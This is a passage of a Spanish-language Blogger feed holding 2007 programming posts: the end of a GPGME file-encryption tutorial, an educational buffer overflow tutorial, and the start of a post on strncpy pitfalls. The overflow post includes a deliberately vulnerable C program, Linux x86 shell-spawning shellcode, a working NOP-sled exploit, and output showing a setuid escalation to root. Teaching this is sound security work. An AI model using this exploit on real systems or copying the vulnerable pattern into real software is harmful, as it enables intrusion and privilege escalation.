GPG:&lt;br /&gt;&lt;pre&gt;$ gpg --encrypt -r id file&lt;/pre&gt;donde id es el identificador de la clave que deseamos usar y file es el fichero a cifrar.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Para hacer lo mismo mediante GPGME usaremos la siguiente función (NOTA: para usar GPGME es necesario incluir la cabecera "gpgme.h").&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int gpg_encrypt(char *fingerprint, char *src_path, char *dst_path)&lt;br /&gt;{&lt;br /&gt;  gpgme_ctx_t ctx;&lt;br /&gt;  gpgme_error_t err;&lt;br /&gt;  gpgme_data_t in, out;&lt;br /&gt;  gpgme_key_t key[2] = { NULL, NULL};&lt;br /&gt;  gpgme_encrypt_result_t result;&lt;br /&gt;  #define BUF_SIZE 512&lt;br /&gt;  char buf[BUF_SIZE + 1];&lt;br /&gt;  int ret;&lt;br /&gt;  FILE *f;&lt;br /&gt;&lt;br /&gt;  gpgme_check_version(NULL);&lt;br /&gt;  setlocale(LC_ALL, "");&lt;br /&gt;  gpgme_set_locale(NULL, LC_CTYPE, setlocale (LC_CTYPE, NULL));&lt;br /&gt;  gpgme_set_locale(NULL, LC_MESSAGES, setlocale (LC_MESSAGES, NULL));&lt;br /&gt;&lt;br /&gt;  if( (err=gpgme_engine_check_version (GPGME_PROTOCOL_OpenPGP)) != 0)&lt;br /&gt;  {&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( (err=gpgme_new(&amp;ctx)) != 0)&lt;br /&gt;  {&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  gpgme_set_armor(ctx, 1);&lt;br /&gt;&lt;br /&gt;  if( (err=gpgme_data_new_from_file (&amp;in, src_path, 1)) != 0)&lt;br /&gt;  {&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( (err=gpgme_data_new(&amp;out)) != 0)&lt;br /&gt;  {&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( (err=gpgme_get_key(ctx, fingerprint, &amp;key[0], 0)) != 0)&lt;br /&gt;  {&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( (err=gpgme_op_encrypt(ctx, key, GPGME_ENCRYPT_ALWAYS_TRUST,&lt;br /&gt;         in,out)) !=0)&lt;br /&gt;  {&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  result = gpgme_op_encrypt_result(ctx);&lt;br /&gt;  if (result-&gt;invalid_recipients)&lt;br /&gt;  {&lt;br /&gt;      fprintf(stderr,"Invalid recipient: %s\n",result-&gt;invalid_recipients-&amp;gt;fpr);&lt;br /&gt;      return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( (f=fopen(dst_path, "w+")) == NULL)&lt;br /&gt;  {&lt;br /&gt;     perror("fopen()");&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( (ret=gpgme_data_seek (out, 0, SEEK_SET)) != 0)&lt;br /&gt;  {&lt;br /&gt;     err = gpgme_err_code_from_errno (errno);&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  while( (ret = gpgme_data_read (out, buf, BUF_SIZE)) &amp;gt; 0)&lt;br /&gt;     fwrite (buf, ret, 1, f);&lt;br /&gt;&lt;br /&gt;  if(ret&amp;lt;0)&lt;br /&gt;  {&lt;br /&gt;     err = gpgme_err_code_from_errno (errno);&lt;br /&gt;     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));&lt;br /&gt;     return EXIT_FAILURE;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  gpgme_key_unref (key[0]);&lt;br /&gt;  gpgme_key_unref (key[1]);&lt;br /&gt;  gpgme_data_release (in);&lt;br /&gt;  gpgme_data_release (out);&lt;br /&gt;  gpgme_release (ctx);&lt;br /&gt;&lt;br /&gt;  return EXIT_SUCCESS;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;Llamando a esta función con los parámetros adecuados cifraremos un fichero tal y como lo haríamos desde la shell con el comando gpg. Un ejemplo de llamada a la función sería el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;if(gpg_encrypt("F1234567", "secreto", "secreto.gpg") != 0)&lt;br /&gt;{&lt;br /&gt;... // error&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Para compilar un programa que usa la librería GPGME disponemos de gpgme-config, que nos permite obtener los flags necesarios y las librerías. Un ejemplo de compilación es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ gcc `gpgme-config --cflags --libs` -D_FILE_OFFSET_BITS=64  test.c&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Finalmente, para descifrar un archivo con GPG podemos ejecutar el siguiente comando:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;$ gpg --decrypt  file&lt;/pre&gt;&lt;br /&gt;GPG nos solicitará la contraseña y descifrará el archivo.&lt;br /&gt;&lt;br /&gt;Pueden encontrarse más ejemplos de como usar esta librería en las fuentes de: &lt;a href="http://www.gnupg.org/download/index.html#gpgme"&gt;GPGME&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-6817156659214445360?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/6817156659214445360/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=6817156659214445360' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6817156659214445360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6817156659214445360'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/criptografa-con-gpg-y-gpgme-i.html' title='Criptografía con GPG y  GPGME I'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4384309761085633727</id><published>2007-05-20T03:23:00.000-07:00</published><updated>2008-12-04T01:28:24.938-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Buffer Overflow</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;¿Qué es un buffer overflow? &lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;/* vulnerable.c */&lt;br /&gt;&lt;br /&gt;void vulnerable (char *param) &lt;br /&gt;{&lt;br /&gt;   char buffer[512];&lt;br /&gt;   strcpy (buffer, param);&lt;br /&gt;}&lt;br /&gt;                                                                                &lt;br /&gt;int main (int argc, char **argv) &lt;br /&gt;{&lt;br /&gt;   if (argc!=2) &lt;br /&gt;   {                                                                             &lt;br /&gt;      printf ("Uso: %s \n", argv[0]);&lt;br /&gt;      return 0;&lt;br /&gt;   }&lt;br /&gt;                        &lt;br /&gt;   vulnerable (argv[1]); &lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc vulnerable.c -o vulnerable&lt;br /&gt;$ ./vulnerable `perl -e "print 'A'x1000;"`&lt;br /&gt;Violacion de segmento&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.&lt;br /&gt;&lt;br /&gt;El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                   __________________  &lt;------ %esp (Stack Pointer)&lt;br /&gt;                  |                  |&lt;br /&gt;                  |       ...        |&lt;br /&gt;                  |                  |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |      buffer      |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |      buffer      |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |      buffer      |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |  Frame Pointer   |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |  Return address  |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |      param       |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |      param       |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |      param       |&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |                  |&lt;br /&gt;                  |       ...        |&lt;br /&gt;                  |                  |&lt;br /&gt;                  |                  |&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas. &lt;br /&gt;&lt;br /&gt;Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno. &lt;br /&gt;                  &lt;br /&gt;Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior.&lt;br /&gt;&lt;br /&gt;Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                   __________________  &lt;------ %esp (Stack Pointer)&lt;br /&gt;                  |                  |&lt;br /&gt;                  |       ...        |&lt;br /&gt;                  |                  |&lt;br /&gt;                  |__________________|&lt;br /&gt;&lt;br /&gt;                  |    0x41414141    |  &lt;-- buffer&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |    0x41414141    |  &lt;-- buffer&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |    0x41414141    |  &lt;-- buffer&lt;br /&gt;                  |__________________| &lt;br /&gt;                  |    0x41414141    |  &lt;-- Frame Pointer&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |    0x41414141    |  &lt;-- Return address&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |    0x41414141    |  &lt;-- param&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |    0x41414141    |  &lt;-- param&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |    0x41414141    |  &lt;-- param&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |                  |&lt;br /&gt;                  |       ...        |&lt;br /&gt;                  |                  |&lt;br /&gt;                  |                  |&lt;br /&gt;                   &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación.&lt;br /&gt;                  &lt;br /&gt;Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable. &lt;br /&gt;&lt;br /&gt;Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;                   __________________  &lt;------ %esp (Stack Pointer)&lt;br /&gt;                  |                  |&lt;br /&gt;                  |       ...        |&lt;br /&gt;                  |                  |&lt;br /&gt;                  |__________________|&lt;br /&gt;         ------&gt;  | NOP NOP NOP NOP  |  &lt;-- buffer&lt;br /&gt;        |         |__________________|&lt;br /&gt;        |         | NOP NOP NOP NOP  |  &lt;-- buffer&lt;br /&gt;        |         |__________________|&lt;br /&gt;        |         |    SHELLCODE     |  &lt;-- buffer&lt;br /&gt;        |         |__________________| &lt;br /&gt;        |         | RET RET RET RET  |  &lt;-- Frame Pointer&lt;br /&gt;        |         |__________________|&lt;br /&gt;         -------  | RET RET RET RET  |  &lt;-- Return address&lt;br /&gt;                  |__________________|&lt;br /&gt;                  | RET RET RET RET  |  &lt;-- param&lt;br /&gt;                  |__________________|&lt;br /&gt;                  | RET RET RET RET  |  &lt;-- param&lt;br /&gt;                  |__________________|&lt;br /&gt;                  | RET RET RET RET  |  &lt;-- param&lt;br /&gt;                  |__________________|&lt;br /&gt;                  |                  |&lt;br /&gt;                  |       ...        |&lt;br /&gt;                  |                  |&lt;br /&gt;                  |                  |&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs.&lt;br /&gt;&lt;br /&gt;Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada.&lt;br /&gt;&lt;br /&gt;¿Sencillo no? &lt;br /&gt;Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas.&lt;br /&gt;&lt;br /&gt;El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc.&lt;br /&gt;Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs).&lt;br /&gt;&lt;br /&gt;Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode:&lt;br /&gt;La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68&lt;br /&gt;\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd&lt;br /&gt;\x80\x31\xc0\x40\xcd\x80&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Este código, para Linux x86, proporciona una shell interactiva al usuario.&lt;br /&gt;&lt;br /&gt;Desarrollo de un exploit:&lt;br /&gt;&lt;br /&gt;Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable.&lt;br /&gt;&lt;br /&gt;Los pasos a seguir por el exploit son los siguientes:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos.&lt;br /&gt;&lt;br /&gt;2. Buscar el stack pointer. Con una función como la siguiente:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;unsigned long get_sp(void) &lt;br /&gt;{   &lt;br /&gt;   __asm__("movl %esp,%eax"); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer.&lt;br /&gt;&lt;br /&gt;4. Rellenar el buffer con la estructura estudiada. Más o menos asi:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;   BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;5. Ejecutar el programa vulnerable con nuestro buffer como parametro.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Veamos el programa de ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;/* exploit.c */&lt;br /&gt;                                                                                &lt;br /&gt;#define NOP 0x90&lt;br /&gt;                                                                                &lt;br /&gt;char shellcode[]=&lt;br /&gt;"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"&lt;br /&gt;"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"&lt;br /&gt;"\x80\x31\xc0\x40\xcd\x80";&lt;br /&gt;                                                                                &lt;br /&gt;/* Retorna el stack pointer */&lt;br /&gt;unsigned long get_sp(void) &lt;br /&gt;{&lt;br /&gt;   __asm__("movl %esp,%eax");&lt;br /&gt;}&lt;br /&gt;                                                                                &lt;br /&gt;int  main(int argc, char *argv[]) &lt;br /&gt;{                                                                                &lt;br /&gt;   char *buffer;&lt;br /&gt;   char *pbuffer;&lt;br /&gt;                                                                                &lt;br /&gt;   long *addr_pbuffer;&lt;br /&gt;   long  nop_addr;&lt;br /&gt;                                                                                &lt;br /&gt;   int offset=0;&lt;br /&gt;   int size;&lt;br /&gt;   int i;&lt;br /&gt;                                                                                                                                                                &lt;br /&gt;   if (argc!=3) &lt;br /&gt;   {                                                                             &lt;br /&gt;      printf ("Uso: %s  \n", argv[0]);&lt;br /&gt;      return 0;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   size  = atoi(argv[1]) + 100;&lt;br /&gt;   offset = atoi(argv[2]);&lt;br /&gt;                                                                                &lt;br /&gt;   if (!(buffer = malloc(size))) &lt;br /&gt;   {                                                                             &lt;br /&gt;      printf("malloc()\n");&lt;br /&gt;      exit(0);&lt;br /&gt;   }&lt;br /&gt;                                                                                &lt;br /&gt;   /* Direccion aproximada de la zona de NOPs */&lt;br /&gt;   nop_addr = get_sp() - offset;&lt;br /&gt;                                                                                &lt;br /&gt;   /*&lt;br /&gt;    *  Llenamos el buffer con la direccion de retorno (R):&lt;br /&gt;    *  BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR&lt;br /&gt;    */&lt;br /&gt;   pbuffer = buffer;&lt;br /&gt;   addr_pbuffer = (long *) pbuffer;&lt;br /&gt;   for (i = 0; i &lt; size; i+=4)&lt;br /&gt;      *(addr_pbuffer++) = nop_addr;&lt;br /&gt;                                                                                &lt;br /&gt;   /*&lt;br /&gt;    *  Llenamos la primera mitad del buffer con NOPs&lt;br /&gt;    *  BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR&lt;br /&gt;    */&lt;br /&gt;   for (i = 0; i &lt; size/2; i++)&lt;br /&gt;      buffer[i] = NOP;&lt;br /&gt;&lt;br /&gt;   /*&lt;br /&gt;    *  Ponemos la shellcode (S) en la mitad del buffer&lt;br /&gt;    *  BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR&lt;br /&gt;    */&lt;br /&gt;   pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));&lt;br /&gt;   for (i = 0; i &lt; strlen(shellcode); i++)&lt;br /&gt;      *(pbuffer++) = shellcode[i];&lt;br /&gt;                                                                                &lt;br /&gt;   /* Delimitamos el final del buffer */&lt;br /&gt;   buffer[size - 1] = '\0';&lt;br /&gt;                                                                                &lt;br /&gt;   /* Ejecutamos el exploit */&lt;br /&gt;   execl("./vulnerable", "vulnerable", buffer, 0);&lt;br /&gt;                                                                                &lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Probemos nuestro exploit:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc exploit.c -o exploit&lt;br /&gt;$ ./exploit&lt;br /&gt;Uso: ./exploit  &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$./exploit 512 0&lt;br /&gt;sh-2.05b#&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A la primera! Mucha suerte hemos tenido. &lt;br /&gt;Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;   ...&lt;br /&gt;   char buffer[256];&lt;br /&gt;   strcpy (buffer, param);&lt;br /&gt;   ...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gcc vulnerable.c -o vulnerable&lt;br /&gt;$  ./exploit 256 0&lt;br /&gt;Instruccion ilegal&lt;br /&gt;$ ./exploit 256 100&lt;br /&gt;Violacion de segmento&lt;br /&gt;$ ./exploit 256 200&lt;br /&gt;Violacion de segmento&lt;br /&gt;$ ./exploit 256 300&lt;br /&gt;Instruccion ilegal&lt;br /&gt;$ ./exploit 256 400&lt;br /&gt;Violacion de segmento&lt;br /&gt;$ ./exploit 256 500&lt;br /&gt;sh-2.05b# &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;   ...&lt;br /&gt;   char buffer[2048];&lt;br /&gt;   strcpy (buffer, param);&lt;br /&gt;   ...&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;gcc vulnerable.c -o vulnerable&lt;br /&gt;$ ./exploit 2048 0&lt;br /&gt;Instruccion ilegal&lt;br /&gt;$ ./exploit 2048 500&lt;br /&gt;Instruccion ilegal&lt;br /&gt;$ ./exploit 2048 1000&lt;br /&gt;sh-2.05b#&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs.&lt;br /&gt;&lt;br /&gt;Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios.&lt;br /&gt;&lt;br /&gt;Supongamos un programa vulnerable setuid. Podemos crear uno con:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ chmod +s vulnerable&lt;br /&gt;$ ls -lh vulnerable&lt;br /&gt;-rwsr-sr-x  1 root root 4,9K jul 26 17:49 vulnerable&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;... y un usuario sin privilegios:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ id&lt;br /&gt;uid=500(pepito) gid=500(pepito) grupos=500(pepito)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ id&lt;br /&gt;uid=500(pepito) gid=500(pepito) grupos=500(pepito)&lt;br /&gt;$ exploit 2048 1000&lt;br /&gt;sh-2.05b# id&lt;br /&gt;uid=0(root) gid=500(pepito) groups=500(pepito)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Referencias:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Smashing The Stack For Fun And Profit&lt;br /&gt; http://www.phrack.org/phrack/49/P49-14&lt;br /&gt;&lt;br /&gt;How to write Buffer Overflows&lt;br /&gt; http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4384309761085633727?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4384309761085633727/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4384309761085633727' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4384309761085633727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4384309761085633727'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/buffer-overflow.html' title='Buffer Overflow'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-6089911212290906342</id><published>2007-05-18T09:36:00.000-07:00</published><updated>2008-12-04T01:28:24.920-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Sobre str*cpy() y str*cat()</title><content type='html'>&lt;div style="text-align: justify;"&gt;Es bien conocido por los programadores de C los problemas de seguridad asociados a las funciones strcpy() y strcat(). El hecho de que no verifiquen la longitud de los datos que se estan copiando da origen a graves desbordamientos de buffer. Para evitar este problema se suelen usar las funciones strncpy() y strncat() respectivamente. Ambas, copian únicamente el número de bytes especificados. Aunque esto representa una mejora considerable sobre strcpy() y strcat() continua existiendo un problema. Si se sobrepasa el tamaño máximo en la copia, estas funciones no finalizan el string en NULL. Veamos un ejemplo de lo que pasa:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   char a[32];&lt;br /&gt;   char b[8];&lt;br /&gt;   char *c = "aaaaaaaa";&lt;br /&gt;&lt;br /&gt;   strcpy(a, "informacion sensible");&lt;br /&gt;   strncpy(b, c, 8);&lt;br /&gt;&lt;br /&gt;   printf("%s\n", b);&lt;br /&gt;&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br 